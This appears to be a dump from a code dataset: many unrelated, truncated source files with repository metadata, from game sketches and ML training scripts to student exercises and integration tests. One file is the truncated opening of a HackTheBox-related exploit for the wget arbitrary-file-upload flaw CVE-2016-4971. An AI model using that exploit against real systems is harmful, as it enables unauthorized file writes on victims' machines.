] | null | null | null | sketches/runningorc00/runningorc00.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | 3 | 2019-12-23T19:12:51.000Z | 2021-04-30T14:00:31.000Z | # Running Orc 00
from orcs import Orc
orc = Orc(160, -48)
def setup():
global bg
bg = loadImage("field.png")
frameRate(15)
size(320, 320)
orc.loadPics()
orc.dy = 5
def draw():
background(bg)
orc.move()
orc.display()
| 13.894737 | 31 | 0.564394 |
a77fb80e23663e1e292fb097633fc97a5714a1ee | 1,693 | py | Python | retro/examples/discretizer.py | MatPoliquin/retro | c70c174a9818d1e97bc36e61abb4694d28fc68e1 | [
"MIT-0",
"MIT"
] | 2,706 | 2018-04-05T18:28:50.000Z | 2022-03-29T16:56:59.000Z | retro/examples/discretizer.py | MatPoliquin/retro | c70c174a9818d1e97bc36e61abb4694d28fc68e1 | [
"MIT-0",
"MIT"
] | 242 | 2018-04-05T22:30:42.000Z | 2022-03-19T01:55:11.000Z | retro/examples/discretizer.py | MatPoliquin/retro | c70c174a9818d1e97bc36e61abb4694d28fc68e1 | [
"MIT-0",
"MIT"
] | 464 | 2018-04-05T19:10:34.000Z | 2022-03-28T13:33:32.000Z | """
Define discrete action spaces for Gym Retro environments with a limited set of button combos
"""
import gym
import numpy as np
import retro
class Discretizer(gym.ActionWrapper):
"""
Wrap a gym environment and make it use discrete actions.
Args:
combos: ordered list of lists of valid button co... | 30.781818 | 132 | 0.666864 |
ac18b683582b4daad6d0ff2ebdf8853f6d365076 | 993 | py | Python | Python/Exercícios_Python/060_criando_um_menu_de_opções.py | vdonoladev/aprendendo-programacao | 83abbcd6701b2105903b28fd549738863418cfb8 | [
"MIT"
] | null | null | null | Python/Exercícios_Python/060_criando_um_menu_de_opções.py | vdonoladev/aprendendo-programacao | 83abbcd6701b2105903b28fd549738863418cfb8 | [
"MIT"
] | null | null | null | Python/Exercícios_Python/060_criando_um_menu_de_opções.py | vdonoladev/aprendendo-programacao | 83abbcd6701b2105903b28fd549738863418cfb8 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""060 - Criando um Menu de Opções
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1ZRWz8qDYyffRbOffElSZ19QOPh6WqCEY
"""
from time import sleep
v=0
op='4'
while v!=5:
while op=='4':
n1=int(input('Digite Um Valor: '))
n2=int... | 22.568182 | 77 | 0.623364 |
021dd5fcb717d7088251e2734e9f274420db546a | 677 | py | Python | vorl5-ueb2.py | haenno/FOM-BSc-WI-Semster3-Skriptsprachen-Python | bb34b6b1ba7e8fe7b22ce598a80d5011122c2d4a | [
"MIT"
] | null | null | null | vorl5-ueb2.py | haenno/FOM-BSc-WI-Semster3-Skriptsprachen-Python | bb34b6b1ba7e8fe7b22ce598a80d5011122c2d4a | [
"MIT"
] | null | null | null | vorl5-ueb2.py | haenno/FOM-BSc-WI-Semster3-Skriptsprachen-Python | bb34b6b1ba7e8fe7b22ce598a80d5011122c2d4a | [
"MIT"
] | null | null | null | # 5. Vorlesung 17.10.2020, Skript Python 4 (07_Python_04.pdf)
# Übung 2: Datei auslesen, Summen aus Artikel Anz und Einzelpreisen bilden
import re
muster = "(\d+),.*\s(\d+\.\d+)"
gesamtpreis = 0.0
qd = open("vorl5-ueb2-daten.txt","r")
for qdZeile in qd:
ergebnis = re.search(muster,qdZeile)
if ergebnis:
... | 35.631579 | 106 | 0.655835 |
0c8488ca60dfe91b17ea2710a850c765a9d70947 | 1,421 | py | Python | dmx/_open_dmx_usb.py | ihrigb/stagebuzzer | dbce1c5fa59a6f22e74d84ccc96d4d1a28a5b680 | [
"Apache-2.0"
] | null | null | null | dmx/_open_dmx_usb.py | ihrigb/stagebuzzer | dbce1c5fa59a6f22e74d84ccc96d4d1a28a5b680 | [
"Apache-2.0"
] | null | null | null | dmx/_open_dmx_usb.py | ihrigb/stagebuzzer | dbce1c5fa59a6f22e74d84ccc96d4d1a28a5b680 | [
"Apache-2.0"
] | null | null | null | import pyftdi.ftdi as ftdi
import threading
import time
vendor = 0x0403
product = 0x6001
class OpenDmxUsb(threading.Thread):
def __init__(self):
super().__init__()
self.baud_rate = 250000
self.data_bits = 8
self.stop_bits = 2
self.parity = 'N'
self.flow_ctrl = ''
... | 31.577778 | 94 | 0.65658 |
0c9417ad4274665b9aa73b50e73eb6c1a590c595 | 334 | py | Python | musterloesungen/2.1/summe.py | giu/appe6-uzh-hs2018 | 204dea36be1e53594124b606cdfa044368e54726 | [
"MIT"
] | null | null | null | musterloesungen/2.1/summe.py | giu/appe6-uzh-hs2018 | 204dea36be1e53594124b606cdfa044368e54726 | [
"MIT"
] | null | null | null | musterloesungen/2.1/summe.py | giu/appe6-uzh-hs2018 | 204dea36be1e53594124b606cdfa044368e54726 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Kurs: Python: Grundlagen der Programmierung für Nicht-Informatiker
# Semester: Herbstsemester 2018
# Homepage: http://accaputo.ch/kurs/python-uzh-hs-2018/
# Author: Giuseppe Accaputo
# Aufgabe: 2.1
def summe(a,b,c):
print(a + b + c)
summe(1,2,3)
summe(1,-1,0)
s... | 25.692308 | 76 | 0.622754 |
3306f16c49c2cdaedf84bb05719c3ac529a7ef39 | 329 | py | Python | marsyas-vamp/marsyas/src/django/birdsong/application/birdsong/catalog/models.py | jaouahbi/VampPlugins | 27c2248d1c717417fe4d448cdfb4cb882a8a336a | [
"Apache-2.0"
] | null | null | null | marsyas-vamp/marsyas/src/django/birdsong/application/birdsong/catalog/models.py | jaouahbi/VampPlugins | 27c2248d1c717417fe4d448cdfb4cb882a8a336a | [
"Apache-2.0"
] | null | null | null | marsyas-vamp/marsyas/src/django/birdsong/application/birdsong/catalog/models.py | jaouahbi/VampPlugins | 27c2248d1c717417fe4d448cdfb4cb882a8a336a | [
"Apache-2.0"
] | null | null | null | from django.db import models
class Call(models.Model):
name = models.CharField(max_length=200)
matriline = models.CharField(max_length=200)
notes = models.CharField(max_length=200)
audio = models.CharField(max_length=200)
image = models.CharField(max_length=200)
duration = models.FloatField()
... | 27.416667 | 48 | 0.717325 |
cc0b35c25b24c4a0e734c8f4bfed79081cf6f7e0 | 720 | py | Python | Python/Topics/Sending-Email/06-html-attachment.py | shihab4t/Software-Development | 0843881f2ba04d9fca34e44443b5f12f509f671e | [
"Unlicense"
] | null | null | null | Python/Topics/Sending-Email/06-html-attachment.py | shihab4t/Software-Development | 0843881f2ba04d9fca34e44443b5f12f509f671e | [
"Unlicense"
] | null | null | null | Python/Topics/Sending-Email/06-html-attachment.py | shihab4t/Software-Development | 0843881f2ba04d9fca34e44443b5f12f509f671e | [
"Unlicense"
] | null | null | null | import smtplib
import os
from email.message import EmailMessage
EMAIL_ADDRESS = os.environ.get("GMAIL_ADDRESS")
EMAIL_PASSWORD = os.environ.get("GMAIL_APP_PASS")
with smtplib.SMTP_SSL("smtp.gmail.com", 465) as smtp:
smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
reciver = "shihab4tdev@gmail.com"
msg = Email... | 24 | 64 | 0.676389 |
c5798f983ff9c01735215a9490ff8227cd6dca70 | 2,781 | py | Python | Chapter5_DNN/Chapter5_6_NeuralNetworkMath/gradientsAndGraph.py | thisisjako/UdemyTF | ee4102391ed6bd50f764955f732f5740425a9209 | [
"MIT"
] | null | null | null | Chapter5_DNN/Chapter5_6_NeuralNetworkMath/gradientsAndGraph.py | thisisjako/UdemyTF | ee4102391ed6bd50f764955f732f5740425a9209 | [
"MIT"
] | null | null | null | Chapter5_DNN/Chapter5_6_NeuralNetworkMath/gradientsAndGraph.py | thisisjako/UdemyTF | ee4102391ed6bd50f764955f732f5740425a9209 | [
"MIT"
] | null | null | null | import os
from typing import List
from typing import Tuple
import numpy as np
import tensorflow as tf
from tensorflow.keras.callbacks import TensorBoard
from tensorflow.keras.layers import Activation
from tensorflow.keras.layers import Dense
from tensorflow.keras.losses import MeanSquaredError
from tensorflow.keras.mo... | 24.394737 | 91 | 0.613448 |
c59aa30ad222e8bde6175ed308b47d9288d6f8c9 | 484 | pyde | Python | sketches/aquarium/aquarium.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | 4 | 2018-06-03T02:11:46.000Z | 2021-08-18T19:55:15.000Z | sketches/aquarium/aquarium.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | null | null | null | sketches/aquarium/aquarium.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | 3 | 2019-12-23T19:12:51.000Z | 2021-04-30T14:00:31.000Z | from fish import Fish
WIDTH = 640
HEIGHT = 416
NFISHES = 15 # Anzahl der Fische
FPS = 60
fishes = []
def setup():
global bg
size(WIDTH, HEIGHT)
this.surface.setTitle(u"Jörgs kleines, bonbonbuntes Aquarium")
bg = loadImage("background.png")
for _ in range(NFISHES):
fishes.append(Fish())
... | 18.615385 | 66 | 0.619835 |
c5e2383a33736e97cabae7f5d8ed6150518462ce | 506 | py | Python | source/pkgsrc/devel/gyp/patches/patch-gyptest.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-11-20T22:46:39.000Z | 2021-11-20T22:46:39.000Z | source/pkgsrc/devel/gyp/patches/patch-gyptest.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | source/pkgsrc/devel/gyp/patches/patch-gyptest.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | $NetBSD: patch-gyptest.py,v 1.4 2014/08/21 14:49:43 he Exp $
* Add NetBSD 5, 6 and 7 target
--- gyptest.py.orig 2014-07-14 14:19:50.000000000 +0000
+++ gyptest.py
@@ -219,6 +219,10 @@ def main(argv=None):
'aix5': ['make'],
'freebsd7': ['make'],
'freebsd8': ['make'],
+ 'freebsd9': ['make'... | 28.111111 | 60 | 0.492095 |
76af98358bbb121804e0ab09430a0eac30ea0567 | 441 | py | Python | python/image_processing/perspective_tr.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/image_processing/perspective_tr.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/image_processing/perspective_tr.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z |
import cv2
import numpy as np
from matplotlib import pyplot as plt
img = cv2.imread('city1.jpg')
rows,cols,ch = img.shape
pts1 = np.float32([[56,65],[368,52],[28,387],[389,390]])
pts2 = np.float32([[0,0],[300,0],[0,300],[300,300]])
M = cv2.getPerspectiveTransform(pts1,pts2)
dst = cv2.warpPerspective(img,M,(300,30... | 22.05 | 56 | 0.69161 |
4ff3b6b59836604f755980cd03adae455ffef034 | 10,665 | py | Python | ingrediens.py | ChristianKitte/Textextraktion-und-Einordnung-mit-Hilfe-neuronaler-Netze | 53d3fc6b1c17f31146741cdebd743f4aa12a09e0 | [
"MIT"
] | null | null | null | ingrediens.py | ChristianKitte/Textextraktion-und-Einordnung-mit-Hilfe-neuronaler-Netze | 53d3fc6b1c17f31146741cdebd743f4aa12a09e0 | [
"MIT"
] | 16 | 2020-01-28T23:04:13.000Z | 2022-03-12T00:02:40.000Z | ingrediens.py | ChristianKitte/Textextraktion-und-Einordnung-mit-Hilfe-neuronaler-Netze | 53d3fc6b1c17f31146741cdebd743f4aa12a09e0 | [
"MIT"
] | null | null | null | import json
import pandas as pd
class Ingredients():
"""The Ingrediens class contains a list of ingredients and provides access to them. It provides
functionality to search the list of substances using a search term.
If it is generated manually, a list of ingredients can be transferred to it. A... | 39.065934 | 119 | 0.568776 |
8b03c4ca86da0b9cb69890510188b9bcc8bd9dc3 | 3,161 | py | Python | shinrl/envs/mountaincar/plot.py | omron-sinicx/ShinRL | 09f4ae274a33d1fc1d9d542f816aef40014af6b5 | [
"MIT"
] | 34 | 2021-12-09T07:12:57.000Z | 2022-03-11T08:17:20.000Z | shinrl/envs/mountaincar/plot.py | omron-sinicx/ShinRL | 09f4ae274a33d1fc1d9d542f816aef40014af6b5 | [
"MIT"
] | null | null | null | shinrl/envs/mountaincar/plot.py | omron-sinicx/ShinRL | 09f4ae274a33d1fc1d9d542f816aef40014af6b5 | [
"MIT"
] | 4 | 2021-12-11T07:48:01.000Z | 2022-03-01T23:50:33.000Z | import functools
from typing import Any, Optional
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
import seaborn as sns
from chex import Array
from matplotlib.axes import Axes
from .calc import *
from .config import MountainCarConfig
@jax.jit
def disc_pos_vel(
config: MountainCarConfig, p... | 32.927083 | 88 | 0.660234 |
50655ba275e3ff99311dff03da229bfb4792bf29 | 4,357 | py | Python | official/gnn/bgcf/preprocess.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | official/gnn/bgcf/preprocess.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | official/gnn/bgcf/preprocess.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 47.879121 | 108 | 0.708286 |
ba1237c81e0c4241ddb6bd5686ed9d889e12f4ee | 3,951 | py | Python | internal/auto_download.py | Saeldur/sl-shadow-priest | a7b027506e52db8e7786ed9d67971adbba7389bd | [
"MIT"
] | null | null | null | internal/auto_download.py | Saeldur/sl-shadow-priest | a7b027506e52db8e7786ed9d67971adbba7389bd | [
"MIT"
] | null | null | null | internal/auto_download.py | Saeldur/sl-shadow-priest | a7b027506e52db8e7786ed9d67971adbba7389bd | [
"MIT"
] | null | null | null | """downloads the nightly simc"""
#!/usr/bin/env python
import glob
import os
import re
import subprocess
import time
from urllib.error import URLError
from urllib.request import urlopen, urlretrieve
def download_latest():
"""main download function"""
seven_zip_paths = ["7z.exe", "C:/Program Files/7-Zip/7z.exe... | 34.657895 | 90 | 0.630979 |
ad85fe9834a7307717abfda7761f72db44b57b62 | 1,876 | py | Python | OSINT-SPY-master/modules/email_search.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-17T03:35:03.000Z | 2021-12-08T06:00:31.000Z | OSINT-SPY-master/modules/email_search.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | null | null | null | OSINT-SPY-master/modules/email_search.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-05T18:07:48.000Z | 2022-02-24T21:25:07.000Z | from .config import *
import requests
import json
def fetch_email(email_id, json_output=False):
url = 'https://api.fullcontact.com/v3/person.enrich'
headers = {"Authorization": f"Bearer {fullcontact_api_key}"}
data = json.dumps({"email": email_id})
response = requests.post(url, data=data, headers=head... | 31.266667 | 96 | 0.534115 |
a8e96a1419b40c5be96c2127eaee9943ccfe26c2 | 1,930 | py | Python | src/onegov/event/models/mixins.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/event/models/mixins.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/event/models/mixins.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.core.orm.types import UTCDateTime
from sedate import to_timezone
from sqlalchemy import Column
from sqlalchemy import String
from sqlalchemy import Text
from sqlalchemy.dialects.postgresql import HSTORE
from sqlalchemy.ext.mutable import MutableDict
class OccurrenceMixin(object):
""" Contains all attr... | 31.129032 | 78 | 0.689637 |
d16e278d7bc64d38072b77f5142fbceaee36a5ef | 3,075 | py | Python | aoc2020/day_20/part_1.py | en0/aoc2020 | a2f41b909dffe1f366682b3d03fd5fbdbc924ec0 | [
"MIT"
] | null | null | null | aoc2020/day_20/part_1.py | en0/aoc2020 | a2f41b909dffe1f366682b3d03fd5fbdbc924ec0 | [
"MIT"
] | null | null | null | aoc2020/day_20/part_1.py | en0/aoc2020 | a2f41b909dffe1f366682b3d03fd5fbdbc924ec0 | [
"MIT"
] | null | null | null | from aoc2020 import *
from aoc2020.utils import math_product
from itertools import chain
import numpy as np
def tborder(tile):
_, m = tile
return "".join(m[0])
def bborder(tile):
_, m = tile
return "".join(m[-1])
def lborder(tile):
_, m = tile
return "".join(m[:,0])
def rborder(tile):
... | 29.009434 | 100 | 0.509593 |
66f5d3ec30ee3cb74953f418ac60d6f97eadd0de | 5,233 | py | Python | Python/Programação_em_Python_Essencial/5- Coleções/dicionarios.py | vdonoladev/aprendendo-programacao | 83abbcd6701b2105903b28fd549738863418cfb8 | [
"MIT"
] | null | null | null | Python/Programação_em_Python_Essencial/5- Coleções/dicionarios.py | vdonoladev/aprendendo-programacao | 83abbcd6701b2105903b28fd549738863418cfb8 | [
"MIT"
] | null | null | null | Python/Programação_em_Python_Essencial/5- Coleções/dicionarios.py | vdonoladev/aprendendo-programacao | 83abbcd6701b2105903b28fd549738863418cfb8 | [
"MIT"
] | null | null | null | """
Dicionários
OBS: Em algumas linguagens de programação, os dicionários Python são conhecidos
por mapas.
Dicionários são coleções do tipo chave/valor. (Mapeamento entre chave e valor)
#Tuplas
[0, 1, 2]
[1, 2, 3]
# Listas
(0, 1, 2)
(1, 2, 3)
Dicionários são representados por chaves {}.
print(type({}))
OBS: Sobr... | 19.672932 | 119 | 0.708962 |
7d2101f86882a0cc92b62811b4a431f69e0f581a | 8,025 | py | Python | tests/test_gallery.py | goosechooser/benwaonline | e2879412aa6c3c230d25cd60072445165517b6b6 | [
"MIT"
] | null | null | null | tests/test_gallery.py | goosechooser/benwaonline | e2879412aa6c3c230d25cd60072445165517b6b6 | [
"MIT"
] | 16 | 2017-09-13T10:21:40.000Z | 2020-06-01T04:32:22.000Z | tests/test_gallery.py | goosechooser/benwaonline | e2879412aa6c3c230d25cd60072445165517b6b6 | [
"MIT"
] | null | null | null | import sys
from datetime import datetime
from io import BytesIO
import pytest
import requests_mock
from flask import current_app, request, url_for, json
from flask_login import current_user
from marshmallow import pprint
from benwaonline import mappers
from benwaonline import entities
from benwaonline.gallery import ... | 38.581731 | 110 | 0.669408 |
6995669a1592ee824cf447cadab2957ceab6665b | 3,933 | py | Python | 3rdParty/V8/v5.7.492.77/test/inspector/testcfg.py | sita1999/arangodb | 6a4f462fa209010cd064f99e63d85ce1d432c500 | [
"Apache-2.0"
] | 22 | 2016-07-28T03:25:31.000Z | 2022-02-19T02:51:14.000Z | 3rdParty/V8/v5.7.492.77/test/inspector/testcfg.py | lipper/arangodb | 66ea1fd4946668192e3f0d1060f0844f324ad7b8 | [
"Apache-2.0"
] | 10 | 2016-09-30T14:57:49.000Z | 2017-06-30T12:56:01.000Z | 3rdParty/V8/v5.7.492.77/test/inspector/testcfg.py | lipper/arangodb | 66ea1fd4946668192e3f0d1060f0844f324ad7b8 | [
"Apache-2.0"
] | 23 | 2016-08-03T17:43:32.000Z | 2021-03-04T17:09:00.000Z | # Copyright 2016 the V8 project authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import itertools
import os
import re
from testrunner.local import testsuite
from testrunner.local import utils
from testrunner.objects import testcase
FL... | 35.754545 | 83 | 0.663361 |
38e5142a0e015295b897f705f5b522fd98fa964d | 2,834 | py | Python | Boot2Root/hackthebox/Falafet/wget-exploit/wget-exploit.py | Kan1shka9/CTFs | 33ab33e094ea8b52714d5dad020c25730e91c0b0 | [
"MIT"
] | 21 | 2016-02-06T14:30:01.000Z | 2020-09-11T05:39:17.000Z | Boot2Root/hackthebox/Falafet/wget-exploit/wget-exploit.py | Kan1shka9/CTFs | 33ab33e094ea8b52714d5dad020c25730e91c0b0 | [
"MIT"
] | null | null | null | Boot2Root/hackthebox/Falafet/wget-exploit/wget-exploit.py | Kan1shka9/CTFs | 33ab33e094ea8b52714d5dad020c25730e91c0b0 | [
"MIT"
] | 7 | 2017-02-02T16:27:02.000Z | 2021-04-30T17:14:53.000Z | #!/usr/bin/env python
#
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971
#
import SimpleHTTPServer
import SocketServer
import socket;
class wgetExploit(SimpleHTTPSer... | 32.953488 | 145 | 0.661609 |
2a515b34a6909c06088f009b9969149b78a78fbb | 5,013 | py | Python | research/hpc/deepbsde/src/net.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/hpc/deepbsde/src/net.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/hpc/deepbsde/src/net.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 41.775 | 120 | 0.596649 |
2aadb54c111d2e210d227f1fd406003b8af9a9a2 | 2,174 | py | Python | research/cv/EDSR/export.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/EDSR/export.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/EDSR/export.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 33.446154 | 113 | 0.702852 |
934c122981015f026c29b97624efde2c5f90f58d | 4,140 | py | Python | research/cv/dcgan/verifyBySklSvmNetD_20_all_310.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/dcgan/verifyBySklSvmNetD_20_all_310.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/dcgan/verifyBySklSvmNetD_20_all_310.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 41.818182 | 117 | 0.7 |
935fec1ff1cb0ca01485e176912022487eea1a96 | 4,960 | py | Python | Fortgeschrittenenpraktikum/Protokolle/V18_Germaniumdetektor/Python/unbekannt2.py | smjhnits/Praktikum | 92c9df3ee7dfa2417f464036d18ac33b70765fdd | [
"MIT"
] | 2 | 2019-03-07T08:55:36.000Z | 2019-04-22T18:13:03.000Z | Fortgeschrittenenpraktikum/Protokolle/V18_Germaniumdetektor/Python/unbekannt2.py | smjhnits/Praktikum | 92c9df3ee7dfa2417f464036d18ac33b70765fdd | [
"MIT"
] | null | null | null | Fortgeschrittenenpraktikum/Protokolle/V18_Germaniumdetektor/Python/unbekannt2.py | smjhnits/Praktikum | 92c9df3ee7dfa2417f464036d18ac33b70765fdd | [
"MIT"
] | 2 | 2017-10-27T13:26:43.000Z | 2018-01-13T09:12:24.000Z | import numpy as np
import matplotlib.pyplot as plt
import uncertainties
from scipy.signal import find_peaks
from scipy.optimize import curve_fit
import scipy.constants as sc
import scipy.integrate as integrate
from uncertainties import ufloat
from uncertainties import unumpy as unp
from uncertainties.unumpy import nomi... | 38.75 | 143 | 0.703831 |
35813f5601c81a9ccc7791e5578db64b1a5ddd91 | 1,684 | py | Python | Python/zzz_training_challenge/Python_Challenge/solutions/ch07_recursion_advanced/solutions/ex02_edit_distance_memo_decorated.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/Python_Challenge/solutions/ch07_recursion_advanced/solutions/ex02_edit_distance_memo_decorated.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/Python_Challenge/solutions/ch07_recursion_advanced/solutions/ex02_edit_distance_memo_decorated.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | # Beispielprogramm für das Buch "Python Challenge"
#
# Copyright 2020 by Michael Inden
from ch07_recursion_advanced.intro.decorator_utils import decorate_with_memo_shorter
def edit_distance(str1, str2):
return __edit_distance_helper(str1.lower(), str2.lower(),
len(str1) - 1, le... | 31.773585 | 84 | 0.630641 |
35a7447d0590910a82fcc439dcd665a03532eabe | 6,911 | py | Python | Packs/Pcysys/Integrations/Pcysys/Pcysys_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/Pcysys/Integrations/Pcysys/Pcysys_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/Pcysys/Integrations/Pcysys/Pcysys_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto
import jwt
from Pcysys import Client, pentera_run_template_command, pentera_get_task_run_status_command, \
pentera_get_task_run_full_action_report_command, pentera_authentication
MOCK_PENTERA_FULL_ACTION_REPORT = 'penterascan-5e4530961deb8eda82b08730.csv'
MOCK_CSV = open('TestData/m... | 39.045198 | 111 | 0.653017 |
ea220d728ed62d821c3fbebff00c689b1425b5f7 | 728 | py | Python | IVTa/2014/SHCHUKIN_F_O/task_3_30.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | 1 | 2021-04-02T17:43:48.000Z | 2021-04-02T17:43:48.000Z | IVTa/2014/SHCHUKIN_F_O/task_3_30.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | IVTa/2014/SHCHUKIN_F_O/task_3_30.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | 1 | 2020-12-18T18:04:49.000Z | 2020-12-18T18:04:49.000Z | # Задача 1. Вариант 30.
'''
Напишите программу, которая выводит имя "Илья Арнольдович Файзильберг",
и запрашивает его псевдоним. Программа должна сцеплять две эти строки
и выводить полученную строку, разделяя имя и псевдоним с помощью тире.
'''
# SHCHUKIN F. O.
# 24.02.2016
from sys import stdout as c
from time import... | 22.060606 | 71 | 0.673077 |
17f132d4e7c624ad4fa893494275758b3a8be675 | 1,012 | py | Python | S6/CS334-NPL/003c_shared_memory (005c).py | joe247/CSE-LABS | bab17548562bdc9c0bc8b15679f07379a9e98dec | [
"MIT"
] | 2 | 2021-02-03T02:03:21.000Z | 2021-07-03T20:24:14.000Z | S6/CS334-NPL/003c_shared_memory (005c).py | joe247/CSE-LABS | bab17548562bdc9c0bc8b15679f07379a9e98dec | [
"MIT"
] | null | null | null | S6/CS334-NPL/003c_shared_memory (005c).py | joe247/CSE-LABS | bab17548562bdc9c0bc8b15679f07379a9e98dec | [
"MIT"
] | null | null | null | import multiprocessing
